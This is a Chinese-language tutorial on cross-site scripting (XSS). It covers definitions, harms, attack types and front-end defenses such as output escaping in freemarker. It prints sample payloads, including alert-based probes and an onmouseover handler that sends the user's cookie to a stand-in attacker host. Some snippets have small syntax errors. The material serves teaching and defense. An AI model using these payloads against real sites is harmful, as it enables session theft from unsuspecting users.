xss是什么

xss跨站脚本攻击(Cross Site Scripting)，是一种经常出现在web应用中的计算机安全漏洞，它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入的恶意html代码会被执行，从而达到恶意用户的特殊目的。
XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。但是随着前端技术的不断进步，这方面的问题越来越受关注。举个简单例子 ： 假如你现在是sns站点上一个用户，发布信息的功能存在漏洞可以执行js 你在 此刻输入一个 恶意脚本，alert()，那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框。当然，这只是小儿科了，如果搞个更为激烈的，后果将很严重。
这个攻击过程看到有人总结了一个比较直观的图，供理解。

xss攻击的危害

XSS攻击的危害包括:

  • 盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

  • 控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

  • 盗窃企业重要的具有商业价值的资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其它网站发起攻击
    举例：

<body background=”javascript:alert(‘xss webjiaocheng!’)”>

<iframe src=javascript:alert(‘xss webjiaocheng!’)”>

<body onload=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>

哪些xss攻击

  • 从其它站点到应用站点的攻击：故名思义，这种攻击是由外部发起的，来自email或其它站点。这种攻击在用户点击链接，下载图片或者提交表单的时候，对应用网站进行了意想之外的操作。
    通常用户登录后会得到一个可用session，xss攻击者可以利用这个session，越过用户验证，进行一些不安全的操作，如下:

<a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >

    Check it out!

</a>

通过这个链接，只要用户登录了，就会发送一个subject，即使在其它网站上。
正因如此，一般的邮箱客户端不会自动从不信任的网站上加载图片（因为考虑到可以通过img的src属性向第三方站点发送GET请求）；另外，可以设置session的过期时间，让session自动失效。

  • 从应用站点到同站或其它站点的攻击：这种攻击，通常是攻击者在应用站点上通过发表评论，或者其它方式嵌入代码，当用户加载页面或者点击链接就会产生一些意想之外的操作。
    如下：

<a href=”#” onmouseover = “window.location

='http://reallybadguys.net/collectCookie.php?cookie =' +

documentcookie.escape();” >

Check it out!</a>

当用户滑过链接，就会将cookie信息发到攻击者的服务器上。

看到有的资料上面是按照另外一种方式进行归纳的：

  • 本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。
    其攻击过程如下：
    A给B发送一个恶意构造了Web的URL。B点击并查看了这个URL。
    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
    A的恶意脚本可以在Bob的电脑上执行B所持有的权限下的命令。

  • 反射式漏洞
    这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含

在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。

预防

作为前端开发人员，我们需要尽量让自己的代码足够强大和足够完善，并且随着开发经验的增长，相信对于自己熟悉的技术领域的防xss攻击，也会有更多和更深入的理解，下面仅列举几个方面，以后可以对这部分内容不断进行扩充。

  • 对于名字，描述之类的数据，需要格外注意其数据来源，在自测过程中，多输入xss异常数据。如：

></script><iframe/onload=alert(2)>

之类的xss脚本。方便发现潜在的漏洞。

  • 在js中使用innerHTML方法修改dom的时候，要对数据进行转义。

  • 在使用一些模板语言的时候，以freemarker为例，入口文件可用

<#escape x as x?html> ... </#escape>

指令包裹，这样可以保证该指令之间的模版数据在输出数据时默认转义。某些特定情况下，不方便使用<#escape>指令的时候，可以在输出的地方进行转义，如：${name?html}，html方法既为ftl的转义指令。

前端xss攻击的更多相关文章

  1. 关于前端XSS攻击、短信轰炸等问题

    关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用  Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...

  2. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  3. 前端安全之XSS攻击

    XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...

  4. 前端过滤XSS攻击

    日常开发过程中,对于存在用户交互的一些门户网站等,过滤xss攻击是必不可少的. 此处主要记录下我在工作过程中的简单处理方法. 前端过滤XSS攻击, 我这里用的是开源工程 js-xss,官网地址:htt ...

  5. 转---如何让前端更安全？——XSS攻击和防御详解

    前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

  6. 前端安全 -- XSS攻击

    XSS漏洞是最广泛.作用最关键的web安全漏洞之一.在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密 ...

  7. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

  8. 前端安全系列（一）：如何防止XSS攻击？

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

  9. 转：前端安全之XSS攻击

    前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...

随机推荐

  1. File I/O的总结

    1读写字符文件 BufferedReader br=new BufferedReader(new FileReader("文件路径")); BufferedWriter bw=ne ...

  2. C 时间函数总结

    头文件 time.h 处理器时间函数 clock_t clock(void) 处理器的处理时间,如可以在 main开始的地方 使用这个函数,然后再 完毕后 调用这个函数 并 减去 之前的返回值,为了 ...

  3. NOIP模拟题 序列

    题目大意 给定长为$n$的序列$A$,定义长为$k$的区间中位数为从小到大排完序后第$\lfloor\frac{k}{2}\rfloor$个数的大小. 每次询问给定$l_1,r_1,l_2,r_2$有 ...

  4. PS基础教程[6]如何快速制作一寸照片

    一寸照片使我们经常会用到的,很多的证件照都是使用一寸的照片作为存档的.写这个经验也是因为刚刚有网友求助做一寸照片,所以就顺便写个经验.废话不多说了,进入正题,PS基础教程之快速制作一寸的照片. 制作方 ...

  5. Python笔记-2

    一.列表的定义及操作 列表是我们最以后最常用的数据类型之一,通过列表可以对数据实现最方便的存储.修改等操作. 1.列表的格式及赋值 列表,使用中括号括起来,元素之间用逗号隔开,列表中的元素具有明确的位 ...

  6. Weex入门篇——Mac 安装Weex

    相关文档:http://blog.csdn.net/jasonblog/article/details/51863173 前言 相比较于React Native的“Learn once, write ...

  7. 二分答案（Widespread ）

    二分答案其实是变相贪心,这周算是被这个虐了,怎么都想不到,比如这题,一直纠结在最大值的贪心上后面队友一指点,原来可以先减去x*b,然后a-b随机分配就好了, 仔细一想没错呀,每次攻击必然受到x*b次伤 ...

  8. 《DSP using MATLAB》示例Example7.18

    代码: M = 33; alpha = (M-1)/2; l = 0:M-1; wl = (2*pi/M)*l; T1 = 0.1095; T2 = 0.598; Hrs = [zeros(1,11) ...

  9. dubbo-demo安装运行指南

    步骤步骤:1.安装JDK:2.安装Tomcat:3.安装Zookeeper:4.安装Dubbo: 修改Consumer配置文件

  10. SQL语言分为五大类

    SQL语言分为五大类:DDL(数据定义语言) - Create.Alter.Drop 这些语句自动提交,无需用Commit提交.DQL(数据查询语言) - Select 查询语句不存在提交问题.DML ...